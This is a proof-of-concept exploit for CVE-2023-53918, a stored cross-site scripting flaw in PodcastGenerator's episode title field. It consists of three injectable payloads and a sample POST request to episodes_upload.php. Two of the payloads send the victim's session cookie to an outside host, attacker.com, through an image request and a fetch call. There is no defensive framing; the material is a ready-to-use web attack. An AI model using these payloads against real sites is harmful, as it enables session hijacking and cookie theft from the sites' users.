CVE-2023-53918

<!-- CVE-2023-53918 PoC: Stored XSS in PodcastGenerator episode title --> <!-- Attack Vector: POST request to episodes_upload.php --> <!-- Method 1: Basic XSS payload --> <script>alert(document.cookie)</script> <!-- Method 2: Cookie stealing payload --> <script> var img = new Image(); img.src = 'http://attacker.com/steal?c=' + document.cookie; </script> <!-- Method 3: Session hijacking payload --> <img src=x onerror="fetch('http://attacker.com/log?data='+btoa(document.cookie))"> <!-- Example POST request --> POST /episodes_upload.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded episodetitle=<script>alert('XSS')</script>&description=test&category=1&submit=Upload

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